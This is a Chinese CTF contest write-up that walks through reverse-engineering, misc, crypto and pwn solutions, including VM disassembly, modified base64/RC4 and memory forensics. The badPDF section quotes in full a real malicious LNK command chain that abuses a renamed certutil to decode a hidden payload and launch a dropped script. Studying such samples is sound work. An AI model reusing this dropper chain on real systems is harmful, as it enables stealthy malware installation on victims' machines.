昨天打完的选拔赛,超级无敌难得过来及时更新(被好多师傅催来着哈哈哈,ddl第一生产力。
只能说这次比赛太幸运了,能碰到这么多逆向题,甚至还有两道流落在Misc和Crypto的apk,相对来说没什么固件题(固件好菜,RW嗑了八个多小时没嗑出来TAT),那肯定开冲√
感谢师傅们手下留情╰(*°▽°*)╯
Reverse
babyvm
vm签到题,这个题做完以后看到是一血人都傻了,看到easyvm已经三血开外了人就更傻了,明明应该baby比easy简单的吧
一些简单粗暴的花指令
花指令有点多,直接idapython走起
1 | from idc_bc695 import * |
去完花以后可以看到主函数直接跳到vm
而查vm的交叉引用可以发现有四个地方都用到了vm函数,说明opcode实际上分成了四段(四个起点)
逐个逆出32个case的作用,dump出opcode(opcode以qword为单位,偏移这边都是+8/+16这样),写反汇编器
(反汇编器模板在:myReverseExps/VMinterpreter.py at main · c10udlnk/myReverseExps,不过很久没改过了,每次都是做题的时候拉下来现改,有空再把新版放上去吧hhhh)
1 | ins_set={ 0: [3, 2, "mov arr[r{0}], 0x{1:0>4X}"], |
拿到res.txt,注释里写了一些各段汇编的作用,就不再另开段落说明了(懒
1 | Addr Code |
然后反向写出exp:
1 | arr = [0x00FF, 0x0223, 0x023B, 0x0237, 0x0237, 0x024B, 0x022B, 0x00FB, 0x022B, 0x0223, 0x024F, 0x00EF, 0x0237, 0x00EF, 0x024F, 0x024F, 0x0223, 0x0223, 0x023B, 0x0237, 0x00FF, 0x0233, 0x0233, 0x0233, 0x0237, 0x024B, 0x0233, 0x024F, 0x022B, 0x022B, 0x024B, 0x00EF] |
flag:e247780d029a7a992247e6667869008a
easyvm
idapython去花,好像还有一两个零散的花指令来着,不太记得了(
1 | from idc_bc695 import * |
主逻辑在反编译没出来的sub_4012F0
可以看到偏移和函数指针,点进offset能看到函数分发
sub_4011E0是base64魔改,魔改为在结果xor了0x0A0B0C0D
然后走偏移的第零个即sub_401000,而sub_401000里面就有switch
vm摁逆,已知数组在unk_40B050,opcode在unk_40B030
写反汇编器
1 | ins_set={0xC0: [1, 0, "inc r1"], |
拿到res.txt
1 | Addr Code |
就是一个很简单的循环处理+比对,需要注意的是r2是累计值(被坑完出来的人5555,血泪经历)
连前面的base64魔改一起写exp:
1 | import base64 |
flag:2586dc76-98d5-44e2-ad58-d06e6559d82a
babyre
这题ollvm太阴间了啊啊啊!!!
惯例去完花以后,可以看到在主函数由很明显的几个函数段
一个xor运算
一个n复杂运算
又一个xor运算
还有不知道在哪但绝对是最后一步的base64换表(在最后有比较,比较以后直接接success)
实在看不动了直接动态调试+找规律
用的几组测试数据↓
关于xor的识别,这实际上是一种常用的混淆手法(在之前某一道题里磨砺出来的),顺便总结一下 (加上在这道题里学会的|),一般来说找几组数据验证一下就能猜出来的:
- (~x|y)-(x|~y) == x - y
- (~x&y)-(x&~y) == x - y
- (~x&y)+(x&~y) == x ^ y
- (~x&y)|(x&~y) == x ^ y
- x|y+x|y-x-y == x ^ y
- ~(~y|~x)|(y^x) == x | y
在这里下断点可以调出第一部分的xor
看汇编可以知道xor的数据在var_18,8次循环,每次循环会改变4个字节,也就是说4字节为一组
往上翻到算出var_18的地方,发现是由每组同一位置共八字节的相互xor得到的,看附近的汇编代码即可
于是有第一个逻辑:
1 | arr = [0 for _ in range(4)] |
第二个逻辑在下一个xor下断点
通过动态调试可以看到是从3开始每次1字节1字节改变,同样3个一组,且如果输入为全相同(比如aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
)的时候更明显,这种输入不会受到第一个xor的影响(偶数个相同的异或起来为0)
xor的数据在var_31 var_32 var_33,同样可以看汇编往上追溯
反编译可以看到就是那个巨复杂的运算,由真值表化简可以得到第二段逻辑
1 | for i in range(3, len(s), 3): |
最后逆向写exp:
1 | import base64 |
flag:fce5e3dfc6db4f808ccaa6fcffecf583
Misc
badPDF
拿到文件就直接打开了orz,发现找不到js,意识到有payload嵌入。查看target
这里显示不全,直接用十六进制阅读器打开可以看到target的一些关键字,定位到这里,把可见字符提取出来
Windows\System32\cmd.exe /c copy "20200308-sitrep-48-covid-19.pdf.lnk" %tmp%\\g4ZokyumBB2gDn.tmp /y&for /r C:\\Windows\\System32\\ %i in (*ertu*.exe) do copy %i %tmp%\\msoia.exe /y&findstr.exe "TVNDRgAAAA" %tmp%\\g4ZokyumBB2gDn.tmp>%tmp%\\cSi1r0uywDNvDu.tmp&%tmp%\\msoia.exe -decode %tmp%\\cSi1r0uywDNvDu.tmp %tmp%\\oGhPGUDC03tURV.tmp&expand %tmp%\\oGhPGUDC03tURV.tmp -F:* %tmp% &wscript %tmp%\\9sOXN6Ltf0afe7.js
在阅读代码的过程中搜索关键字(*ertu*.exe)找到了原病毒:https://www.freebuf.com/articles/network/241414.html
有一个很有趣的地方就是,这里明明就是复制一次(把certutil.exe复制过去),为什么要用到for呢。就是通过(*ertu*.exe)这个正则匹配绕过安全检测,毕竟那个文件夹里肯定就只有一个exe是符合的,不会有误操作,而且可以避免杀软啥的对certutil.exe操作的检查(猜的)。
我在CTF题学cmd命令,捂脸
第一层是一样的,所以直接跟着他代码做,直到拿到9sOXN6Ltf0afe7.js
1 | var e7926b8de13327f8e703624e = new ActiveXObject("WScript.Shell"); |
可以看到又是一层系统调用,不过这层就没什么东西了,就是让他能成功调用最后删除中间文件的过程。
做到move /Y %tmp%\\cSi1r0uywDNvDu.tmp %tmp%\\cscript.exe\\WsmPty.xsl
可以知道,上一步解压出来的cSi1r0uywDNvDu.tmp
实际上也是一个代码,打开可以看到
1 |
|
嵌入了一段VBscript的代码,速成VBscript可以发现这实际上就是个unhex+xor 1的过程
VBscript的关键点在:
- “aaa” & “bbb” == “aaabbb”,这里&是连接符的意思,相当于python里字符串之间的+
- “&h41”实际上就是python里的”\x41”,所以这里chr(“&h”&mid(bhhz6HalbOkrki,rBOH7OLTCVxzkH,2))是取两位然后unhex(内置函数的作用自行搜索)
- VB里面异或就写成xor是我没想到的(逃
所以写exp有:
1 | s = bytes.fromhex("676d60667a64333665326564333665326564333665326536653265643336656564333665327c") |
flag:e27d3de27d3de27d3d7d3de27dde27d3
gogogo
本来以为raw是拼图的线索,一番内存取证发现并没有什么线索。
后来想到如果是python程序切出来的,那肯定出来的时间是有先后的吧 (我就不信有人ps手切) ,所以直接日期排序走起。
电脑屏幕太小了显示不了16张一行,稍微微调了一下(每行删掉第一张
可以看到password是3e8f092d4d7b80ce338d6e238efb01。
能用到password的地方一般都是压缩包,于是去filescan一下把文件列表导出来,grep看有没有奇怪的压缩包。
发现有一个csgo.zip.zip(fps玩家狂喜),感觉是奇怪的包,dump下来。
volatility -f 2.raw --profile=WinXPSP2x86 dumpfiles -Q 0x0000000002182dc0 -D ./ -u
用password解密发现可行,解出来一张打不开的csgo.png
图片,png解包经典foremost
foremost csgo.png
解出来两张图
第一张图不太像二维码(四周补上的话data区缺太多),按着这个思路搜索其他的二维码发现一种特征在中间的Aztec code。
(赛后听凌邪师傅说枪的“阿兹特克”就是指这个Aztec,人傻了.jpg)
于是按照格式用photoshop拼了一下 (做工极度粗糙,管他的能扫就行)
找到了(好像是唯一的)在线解码器:https://products.aspose.app/barcode/zh-hans/recognize/aztec#
发现解码成功!
flag:fbab8380-a642-48aa-89b1-8e251f826b12
TimeTravel
看MainActivity没看出什么,发现有调库就先去看库了。
实在没找到能入手的地方,于是去翻字符串,居然看到了
眉头一皱,发现并不简单.jpg
然后直接去找这个字符串的交叉引用,果然看到了一个check函数
ooo000粗略的看起来是一个base64,sub_4AE8有一点混淆,通过调用的分析和一些典型操作(比如初始化s盒、xor,那几个图里已命名的函数)能大概看出来是个魔改rc4,从xor操作看出除了正常的rc4异或以外还异或了当前的序号。比较的v17是已知数组off_17180。
在genKey里,密钥通过一个倒着的表和一些计算得出
所以可以根据他的方法将密钥算出来,同时在rc4的结果上遍历xor序号就能拿到第一部分的结果
ooo000的魔改在取数的时候取的是x^(x>>3)而不是x
因为这个改动比较大,选择手写base64解码
invshift是以前比赛中用过的对x^(x>>3)算法的逆向函数(一招鲜吃遍天了属于是
算出来以后发现只拿到了后半部分,flag应该是一个uuid,前面少了八个字节
于是跑回去翻java层,发现这个包其实是有个main2activity的(下次搜索一定少搜一点555,绝了
这里一看就是主函数了
比对前五字节是”flag{“和末尾字节的”}”,把中间的部分提取出来,检查[0:3]是”e25”,剩下五位爆破md5
一个比较坑的地方在hexdigits是改了表的!!!!!!出题人其心可诛!!!!!!(划掉
爆了好久爆不出来才发现,太绝了,手动把哈希值的4和5、E和F进行替换来爆破才爆出来
整道题的exp:
1 | from hashlib import md5 |
flag:e25be952-e74b-4649-bc0d-236342079a59
Crypto
babyrsa
看题目就是一个rsa加密,给了e、N、c求m。
如果N能分解的话就是一个RSA模板题了,用http://www.factordb.com/试试发现还真可以。
分解拿到p和q,用sage手撸一个解密算法:
1 | e = 2199344405076718723439776106818391416986774637417452818162477025957976213477191723664184407417234793814926418366905751689789699138123658292718951547073938244835923378103264574262319868072792187129755570696127796856136279813658923777933069924139862221947627969330450735758091555899551587605175567882253565613163972396640663959048311077691045791516671857020379334217141651855658795614761069687029140601439597978203375244243343052687488606544856116827681065414187957956049947143017305483200122033343857370223678236469887421261592930549136708160041001438350227594265714800753072939126464647703962260358930477570798420877 |
然后丢进python里long_to_bytes一下拿到flag:
flag:01d_Curs3_c4Me_Again
Accelerate your time
看到附件给了apk,啪的一下就点进来了,很快啊(x
是个kotlin写的apk,以前没逆什么kotlin的经验,一通瞎做搞出来的orz
直接用jeb看(类似于看平时apk的java层),翻包名看到flag,感觉是个重点包,定位到主行为函数
可以看到很明显的check,是把当前的时间做了一个md5塞进大括号里,再拼上用户名和密码,最后再做一个md5跟已知字符串比较。这里的md5取的是[8:24]↓
hour我直接大胆猜测是4,前面看到有特判
min和sec没看到特判,但是60*60的空间完全可以爆破
username和password的xor联系在LoginDataSource里,并且username == trandmark
安卓包的字符串内容是写在res/strings.xml里面的,只要拿到name就可以拿到trandmark的内容:
用户名是Android,密码可以异或得到,md5的结果同样在strings.xml中,须做id->name、name->content的映射
flag就可以出来了,爆破分秒写exp:(其实感觉这题才应该叫TimeTravel才对= =只能在特定时间拿到flag嘛)
1 | from hashlib import md5 |
flag:80d0169d22da3c35
PWN
送分题
送分题真的是送分题啊,看到做题的人异常地多,于是去找原题,发现真的找到了wp
https://www.anquanke.com/post/id/258512(justpwnit),直接打wp的exp打通了(
1 | from pwn import * |
flag:5hen_m3_5hi_kuai_1e_xin9_Qiu